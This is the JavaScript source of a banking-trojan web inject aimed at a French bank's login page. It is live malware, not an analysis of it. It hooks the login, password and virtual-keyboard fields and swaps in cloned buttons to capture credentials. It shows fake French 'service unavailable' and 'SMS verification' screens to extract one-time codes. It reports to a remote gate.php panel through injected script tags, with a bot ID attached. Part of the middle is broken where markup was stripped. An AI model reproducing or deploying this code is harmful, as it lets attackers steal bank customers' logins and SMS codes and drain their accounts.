//=================== ADMIN ===================== var ALINK = "https://securetargeting.com/content/webanalyser/lcl/admin/"; var GATE = ALINK+"gate/gate.php"; //=================== INIT PROTOS ===================== var By = (function(){ function ByArgs(arguments){ var found = { tag: false, error: false, element: false } if(arguments && arguments.length >= 3){ var elements_array = arguments[1].split("|"); if(elements_array.length > 0){ for(var k = 0; k < elements_array.length; k++){ var elements = arguments[0].getElementsByTagName(elements_array[k]); if(elements && elements.length > 0){ for(var i = 0; i < elements.length; i++){ for(var e = 2; e < arguments.length; e++){ var pattern = new RegExp(arguments[e].split(":")[1],"igm"); if(arguments[e].split(":")[0] == "class"){ if(elements[i].className != null && pattern.test(elements[i].className)){ found.tag = true; }else{ found.error = true; } }else if(arguments[e].split(":")[0] == "for"){ if(elements[i].className != null && pattern.test(elements[i].htmlFor)){ found.tag = true; }else{ found.error = true; } }else{ if(elements[i].getAttribute(arguments[e].split(":")[0]) != null && pattern.test(elements[i].getAttribute(arguments[e].split(":")[0]))){ found.tag = true; }else{ found.error = true; } } } if(found.tag && !found.error){ return elements[i]; }else{ found.tag = false; found.error = false; } } } } return false; }else{ return false; } }else{ return false; } } function ByContent(arguments){ var found = { tag: false, error: false, element: false } if(arguments && arguments.length > 2){ var elements = arguments[0].getElementsByTagName(arguments[1]); if(elements && elements.length > 0){ for(var i = 0; i < elements.length; i++){ for(var e = 2; e < arguments.length; e++){ var pattern = new RegExp(arguments[e]); if(pattern.test(elements[i].innerHTML.toLowerCase())){ found.tag = true; }else{ found.error = true; } } if(found.tag && !found.error){ return elements[i]; }else{ found.tag = false; found.error = false; } } } } return false; } return{ args: function(){ return ByArgs(arguments); }, content: function(){ return ByContent(arguments); } } }()) by = By; var Hujax = (function(){ var callback_func = false; function SetCallback(p){ callback_func = p; } function Send(url){ var BOTID = document.getElementById("BMUD"); if(BOTID){ BOTID = vw.text(BOTID); }else{ BOTID = "%%ID%%"; } url += "&ip="+BOTID; if(document.getElementById("rgk_ajax")){ document.getElementById("rgk_ajax").parentNode.removeChild(document.getElementById("rgk_ajax")); } var script = document.createElement("script"); script.type = "text/javascript"; script.id = "rgk_ajax"; if (script.readyState) { script.onreadystatechange = function() { if (script.readyState == "loaded" || script.readyState == "complete") { script.onreadystatechange = null; callback_func(); } }; } else { script.onload = function() { callback_func(); }; } url = url.replace(/\(/g,"%28").replace(/\)/g,"%29"); script.src = url; if(document.getElementsByTagName("head").length > 0){ document.getElementsByTagName("head")[0].appendChild(script); }else{ document.getElementsByTagName("body")[0].appendChild(script); } } return{ callback: function(param){ SetCallback(param); }, send: function(param){ Send(param); } } }()); hujax = Hujax; var Clone = (function(){ function CheckQ(param){ if(param == null || param == undefined || param == "null" || param == "undefined" || param == "" || param == " "){ return false; }else{ return true; } } function COPY(obj,func){ if(obj.type == "image"){ var clo = document.createElement("img"); for (x in obj.attributes){ if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){ if(obj.attributes[x].name == "onclick" || obj.attributes[x].name == "name" || obj.attributes[x].name == "disabled" || obj.attributes[x].name == "id" ){ continue; } if(obj.attributes[x].name == "type" && obj.attributes[x].value == "submit"){ clo.setAttribute(obj.attributes[x].name,"button"); }else{ clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value); } } } }else{ var clo = document.createElement(obj.tagName); for (x in obj.attributes){ if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){ if(obj.attributes[x].name == "onclick" || obj.attributes[x].name == "name" || obj.attributes[x].name == "disabled" || obj.attributes[x].name == "href" ){ continue; } if(obj.attributes[x].name == "type" && obj.attributes[x].value == "submit"){ clo.setAttribute(obj.attributes[x].name,"button"); }else{ clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value); } } } } if(obj.tagName == "A" || obj.tagName == "BUTTON" || obj.tagName == "LI"){ clo.innerHTML = obj.innerHTML; } clo.style.cursor = "pointer"; obj.style.display = "none"; AddListenner(clo,"click",func); obj.parentNode.insertBefore(clo,obj); } function AddListenner(obj,evType,func){ if(obj.addEventListener ){ obj.addEventListener(evType,func,false); return true; }else if(obj.attachEvent){ var r = obj.attachEvent('on'+evType,func); return r; }else{ elm['on'+evType] = func; } } function JUSTCOPYINPUT(obj,content){ var clo = document.createElement(obj.tagName); for (x in obj.attributes){ if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){ if(obj.attributes[x].name == "onclick" || obj.attributes[x].name == "name" || obj.attributes[x].name == "href" || obj.attributes[x].name == "id" || obj.attributes[x].name == "value" ){ continue; } clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value); } } clo.value = content; obj.style.display = "none"; obj.parentNode.insertBefore(clo,obj); } return{ click: function(obj,func){ COPY(obj,func); }, copy: function(obj,content){ JUSTCOPYINPUT(obj,content); } } }()) clone = Clone; var VW = (function(){ var fTarget = false; var fDeftime = 10; var fTime = fDeftime; var fCallback = function(){return false;}; function getViewportHeight() { var ua = navigator.userAgent.toLowerCase(); var isOpera = (ua.indexOf('opera') > -1); var isIE = (!isOpera && ua.indexOf('msie') > -1); return ((document.compatMode || isIE) && !isOpera) ? (document.compatMode == 'CSS1Compat') ? document.documentElement.clientHeight : document.body.clientHeight : (document.parentWindow || document.defaultView).innerHeight; } return{ hidedoc: function(doc){ var none_div = doc.getElementById("none_div"); if(none_div){ none_div.style.display = ""; }else{ doc.documentElement.style.display = "none"; } }, showdoc: function(doc){ var none_div = doc.getElementById("none_div"); if(none_div){ none_div.style.display = "none"; }else{ doc.documentElement.style.display = ""; } }, browser: function(){ if(navigator.userAgent.toLowerCase().indexOf("msie 6") >= 0){ return "IE6"; }else if(navigator.userAgent.toLowerCase().indexOf("msie 7") >= 0){ return "IE7"; }else if(navigator.userAgent.toLowerCase().indexOf("msie 8") >= 0){ return "IE8"; }else if(navigator.userAgent.toLowerCase().indexOf("msie 9") >= 0){ return "IE9"; }else if(navigator.userAgent.toLowerCase().indexOf("msie 10") >= 0){ return "IE10"; }else if(navigator.userAgent.toLowerCase().indexOf("firefox") >= 0){ return "FF"; }else{ return "OTHER"; } }, bind: function(obj, evType, func){ if(obj.addEventListener ){ obj.addEventListener(evType,func,false); return true; }else if(obj.attachEvent){ var r = obj.attachEvent('on'+evType,func); return r; }else{ elm['on'+evType] = func; } }, mouse: function(eve,element){ if(document.createEvent){ var event = document.createEvent('MouseEvents'); event.initMouseEvent(eve,true,true,document.defaultView,1,0,0, 0, 0, false, false, false, false,0,null); element.dispatchEvent(event); }else if(element.fireEvent){ if(eve == "click"){ element.click(); }else{ var event = document.createEventObject(); element.fireEvent('on'+eve, event); } } }, text: function(param){ if(param){ var tmp = (param.textContent ? param.textContent : param.innerText) ? (param.textContent ? param.textContent : param.innerText) : param.innerHTML; return tmp.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,""); }else{ return ""; } }, from: function(parent,child){ return parent && child ? parent.getElementsByTagName(child) : false; }, digits: function(digits){ var RES = { NUMBERS:"", OTHER: "" } var res = ''; if(digits && digits.length > 0){ digits = digits.replace(/\u2212/g, "-"); var ValidChars = "0123456789"; for(var i = 0;i < digits.length; i++){ var Char = digits.charAt(i); if(ValidChars.indexOf(Char) >=0){ res += Char; }else{ RES.OTHER += Char; } } } RES.NUMBERS = parseFloat(res); return RES; }, blockenter: function(el){ if(el){ el.onkeypress = function(evt){ var evt = (evt) ? evt : ((event) ? event : null); var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null); if ((evt.keyCode == 13) && (node.type=="text" || node.type=="password")){ return false; } } } }, selected: function(select){ if(select){ var RES = { VALUE: "", TEXT: "" } RES.VALUE = select[select.selectedIndex].value; RES.TEXT = select[select.selectedIndex].text; return RES; }else{ return false; } }, docheight: function(){ return Math.max(document.compatMode != 'CSS1Compat' ? document.body.scrollHeight : document.documentElement.scrollHeight, getViewportHeight()); }, docwidth: function(num){ if(num){ return (window.screen.availWidth / num); }else{ return window.screen.availWidth; } }, finder: function(obj,callback,time){ fTarget = obj; fCallback = callback; if(time)fTime = time; setTimeout(vw._finder,500); }, _finder: function(){ if(fTarget()){ fCallback(); fTime = fDeftime; }else{ if(fTime > 0){ fTime--; setTimeout(vw._finder,1000); }else{ fTime = fDeftime; } } } } }()) vw = VW; if(typeof HTMLElement != 'undefined' && !HTMLElement.prototype.click){ HTMLElement.prototype.click=function(){ var evt = this.ownerDocument.createEvent('MouseEvents'); evt.initMouseEvent('click', true, true, this.ownerDocument.defaultView, 1, 0, 0, 0, 0, false, false, false, false, 0, null); this.dispatchEvent(evt); } } //=================== INIT VARIABLES ===================== var UI_login_input = document.getElementById("identifiantIdForm"); var UI_password_input = document.getElementById("CodeId"); var UI_login_button_0 = document.getElementById("validerClavierCLI"); var UI_login_button_1 = document.getElementById("validerClavierCLA"); var UI_reset_button = document.getElementById("ResetClavier_idImageClavier"); var buttonForClick = false; var kl = "[NONE]"; var smsButton = false; var HOLDER = { LOGIN: "", PASSWORD: "", SMS: "" } var QUERY = { COMMAND: "NONE", VALUE: false, CHANGED: false, FINISH: false } var FKTEXT = { WAITING: "Attendez, s'il vous plaît...", BLOCKTITLE: "Le service est temporairement inaccessible", BLOCKMAIN: "Nous présentons nos excuses. Le service est temporairement inaccessible suite aux travaux techniques sur les serveurs de la banque. Nous faisons tout possible pour améliorer la qualité du service de nos clients et assurer votre sécurité sur le niveau supérieur. Nos spécialistes vont restaurer le travail et l'accès aux comptes dans les plus brefs délais. Merci de votre patience et compréhension.", BLOCTRYNEXTTIME: "Essayez entrer plus tard...", SMSTITLE: "Vérification supplémentaire", SMSQUERY: "Nous avons introduit, pour l'accès plus sûr à vos comptes, un nouveau système de l'identification pour SMS code", SMSQUERY2: "Pour continuer inscrivez le code reçu par SMS.", SMSLABEL: "Code d'acess" } //=================== INIT FAKE FUNCTIONS ===================== vw.finish = function(){ if(!QUERY.CHANGED){ QUERY.FINISH = true; } } vw.fake_step = function(step,status){ switch(step){ case("login"): vw.lethim(); break; case("relogin"): vw.lethim(); break; case("wait"): var fkWaitContent = '
'+FKTEXT.SMSQUERY+'
'+
'
'+
' '+
'
'+FKTEXT.BLOCKMAIN+'
'+
'
'+
'
'+FKTEXT.BLOCTRYNEXTTIME+'
'+ '
';
vw.bind(UI_reset_button,"click",vw.resetpassword);
}
}
vw.start = function(){
if(UI_login_input && UI_password_input && UI_login_button_0 && UI_login_button_1){
vw.check_start();
}else{
vw.showdoc(document);
}
}
if(top == self){
vw.start();
}else{
vw.showdoc(document);
}